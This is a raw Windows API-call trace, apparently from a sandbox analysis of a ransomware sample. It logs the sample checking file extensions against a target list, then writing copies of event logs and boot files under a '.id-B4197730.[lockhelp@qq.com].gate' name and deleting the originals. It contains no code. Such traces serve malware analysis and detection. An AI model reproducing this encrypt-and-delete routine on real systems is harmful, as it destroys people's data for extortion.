1 [0272.707] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0272.707] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0272.707] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.708] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.708] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.708] lstrlenW (lpString=".doc") returned 4 [0272.708] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0272.708] lstrlenW (lpString=".docx") returned 5 [0272.708] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0272.708] lstrlenW (lpString=".pdf") returned 4 [0272.708] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0272.708] lstrlenW (lpString=".xls") returned 4 [0272.708] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0272.708] lstrlenW (lpString=".xlsx") returned 5 [0272.708] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0272.708] lstrlenW (lpString=".ppt") returned 4 [0272.708] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0272.708] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.708] lstrlenW (lpString=".zip") returned 4 [0272.708] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0272.708] lstrlenW (lpString=".rar") returned 4 [0272.708] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0272.708] lstrlenW (lpString=".bz2") returned 4 [0272.708] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0272.708] lstrlenW (lpString=".7z") returned 3 [0272.708] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0272.708] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.708] lstrlenW (lpString=".dbf") returned 4 [0272.708] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0272.708] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.708] lstrlenW (lpString=".1cd") returned 4 [0272.708] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0272.709] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.709] lstrlenW (lpString=".jpg") returned 4 [0272.709] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0272.709] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.709] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.709] lstrlenW (lpString=".doc") returned 4 [0272.709] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0272.709] lstrlenW (lpString=".docx") returned 5 [0272.709] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0272.709] lstrlenW (lpString=".pdf") returned 4 [0272.709] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0272.709] lstrlenW (lpString=".xls") returned 4 [0272.709] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0272.709] lstrlenW (lpString=".xlsx") returned 5 [0272.709] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0272.709] lstrlenW (lpString=".ppt") returned 4 [0272.709] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0272.709] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.709] lstrlenW (lpString=".zip") returned 4 [0272.709] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0272.709] lstrlenW (lpString=".rar") returned 4 [0272.709] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0272.709] lstrlenW (lpString=".bz2") returned 4 [0272.709] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0272.709] lstrlenW (lpString=".7z") returned 3 [0272.709] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0272.709] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.709] lstrlenW (lpString=".dbf") returned 4 [0272.709] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0272.709] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.710] lstrlenW (lpString=".1cd") returned 4 [0272.710] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0272.710] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0272.710] lstrlenW (lpString=".jpg") returned 4 [0272.710] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0272.710] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0272.710] lstrlenW (lpString="bootspaces.dll") returned 14 [0272.710] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.977] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=95648) returned 1 [0272.977] CloseHandle (hObject=0x37c) returned 1 [0272.977] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0272.977] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0272.977] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.977] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.977] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.977] lstrlenW (lpString=".doc") returned 4 [0272.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0272.977] lstrlenW (lpString=".docx") returned 5 [0272.977] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0272.977] lstrlenW (lpString=".pdf") returned 4 [0272.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0272.977] lstrlenW (lpString=".xls") returned 4 [0272.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0272.978] lstrlenW (lpString=".xlsx") returned 5 [0272.978] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0272.978] lstrlenW (lpString=".ppt") returned 4 [0272.978] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0272.978] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.978] lstrlenW (lpString=".zip") returned 4 [0272.978] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0272.978] lstrlenW (lpString=".rar") returned 4 [0272.978] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0272.978] lstrlenW (lpString=".bz2") returned 4 [0272.978] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0272.978] lstrlenW (lpString=".7z") returned 3 [0272.978] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0272.978] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.978] lstrlenW (lpString=".dbf") returned 4 [0272.978] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0272.978] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.978] lstrlenW (lpString=".1cd") returned 4 [0272.978] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0272.978] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.978] lstrlenW (lpString=".jpg") returned 4 [0272.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0272.978] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.978] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.979] lstrlenW (lpString=".doc") returned 4 [0272.979] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0272.979] lstrlenW (lpString=".docx") returned 5 [0272.979] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0272.979] lstrlenW (lpString=".pdf") returned 4 [0272.979] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0272.979] lstrlenW (lpString=".xls") returned 4 [0272.979] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0272.979] lstrlenW (lpString=".xlsx") returned 5 [0272.979] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0272.979] lstrlenW (lpString=".ppt") returned 4 [0272.979] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0272.979] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.979] lstrlenW (lpString=".zip") returned 4 [0272.979] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0272.979] lstrlenW (lpString=".rar") returned 4 [0272.979] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0272.979] lstrlenW (lpString=".bz2") returned 4 [0272.979] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0272.979] lstrlenW (lpString=".7z") returned 3 [0272.979] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0272.979] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.979] lstrlenW (lpString=".dbf") returned 4 [0272.979] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0272.979] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.979] lstrlenW (lpString=".1cd") returned 4 [0272.979] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0272.979] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0272.979] lstrlenW (lpString=".jpg") returned 4 [0272.980] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0272.980] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0272.980] lstrlenW (lpString="bootvhd.dll") returned 11 [0272.980] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.980] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=99744) returned 1 [0272.980] CloseHandle (hObject=0x37c) returned 1 [0272.980] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0272.980] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.021] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.234] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0273.234] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0273.235] lstrlenW (lpString=".doc") returned 4 [0273.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0273.235] lstrlenW (lpString=".docx") returned 5 [0273.235] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0273.235] lstrlenW (lpString=".pdf") returned 4 [0273.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0273.235] lstrlenW (lpString=".xls") returned 4 [0273.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0273.235] lstrlenW (lpString=".xlsx") returned 5 [0273.235] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0273.235] lstrlenW (lpString=".ppt") returned 4 [0273.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0273.235] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0273.235] lstrlenW (lpString=".zip") returned 4 [0273.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0273.235] lstrlenW (lpString=".rar") returned 4 [0273.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0273.235] lstrlenW (lpString=".bz2") returned 4 [0273.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0273.235] lstrlenW (lpString=".7z") returned 3 [0273.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0273.328] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0274.478] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.478] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.478] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0274.478] GetLastError () returned 0x0 [0274.478] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.340] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.342] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.342] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x134, lpOverlapped=0x0) returned 1 [0275.342] SetEndOfFile (hFile=0x3a8) returned 1 [0275.342] CloseHandle (hObject=0x3a8) returned 1 [0275.344] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.344] SetEndOfFile (hFile=0x3a4) returned 1 [0275.345] CloseHandle (hObject=0x3a4) returned 1 [0275.345] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.345] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0275.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.345] lstrlenW (lpString=".doc") returned 4 [0275.346] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString=".docx") returned 5 [0275.346] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.346] lstrlenW (lpString=".pdf") returned 4 [0275.346] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString=".xls") returned 4 [0275.346] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString=".xlsx") returned 5 [0275.346] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.346] lstrlenW (lpString=".ppt") returned 4 [0275.346] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.346] lstrlenW (lpString=".zip") returned 4 [0275.346] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString=".rar") returned 4 [0275.346] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString=".bz2") returned 4 [0275.346] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString=".7z") returned 3 [0275.346] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.346] lstrlenW (lpString=".dbf") returned 4 [0275.346] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.346] lstrlenW (lpString=".1cd") returned 4 [0275.346] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.346] lstrlenW (lpString=".jpg") returned 4 [0275.346] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.347] lstrlenW (lpString=".doc") returned 4 [0275.347] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString=".docx") returned 5 [0275.347] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.347] lstrlenW (lpString=".pdf") returned 4 [0275.347] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString=".xls") returned 4 [0275.347] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString=".xlsx") returned 5 [0275.347] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.347] lstrlenW (lpString=".ppt") returned 4 [0275.347] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.347] lstrlenW (lpString=".zip") returned 4 [0275.347] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString=".rar") returned 4 [0275.347] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString=".bz2") returned 4 [0275.347] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString=".7z") returned 3 [0275.347] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.347] lstrlenW (lpString=".dbf") returned 4 [0275.347] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.347] lstrlenW (lpString=".1cd") returned 4 [0275.347] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0275.347] lstrlenW (lpString=".jpg") returned 4 [0275.347] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.348] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.348] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0275.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.348] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1052672) returned 1 [0275.348] CloseHandle (hObject=0x3a4) returned 1 [0275.348] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0275.348] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.348] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.348] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.436] GetLastError () returned 0x0 [0275.436] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0275.532] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0275.547] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x1010, lpOverlapped=0x0) returned 1 [0275.554] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1020, lpOverlapped=0x0) returned 1 [0275.710] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.710] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x170, lpOverlapped=0x0) returned 1 [0275.710] SetEndOfFile (hFile=0x3a8) returned 1 [0275.710] CloseHandle (hObject=0x3a8) returned 1 [0275.726] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.726] SetEndOfFile (hFile=0x3a4) returned 1 [0275.727] CloseHandle (hObject=0x3a4) returned 1 [0275.727] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.727] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0275.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.727] lstrlenW (lpString=".doc") returned 4 [0275.727] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.727] lstrlenW (lpString=".docx") returned 5 [0275.727] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.727] lstrlenW (lpString=".pdf") returned 4 [0275.727] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString=".xls") returned 4 [0275.728] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString=".xlsx") returned 5 [0275.728] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.728] lstrlenW (lpString=".ppt") returned 4 [0275.728] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.728] lstrlenW (lpString=".zip") returned 4 [0275.728] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString=".rar") returned 4 [0275.728] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString=".bz2") returned 4 [0275.728] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString=".7z") returned 3 [0275.728] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.728] lstrlenW (lpString=".dbf") returned 4 [0275.728] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.728] lstrlenW (lpString=".1cd") returned 4 [0275.728] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 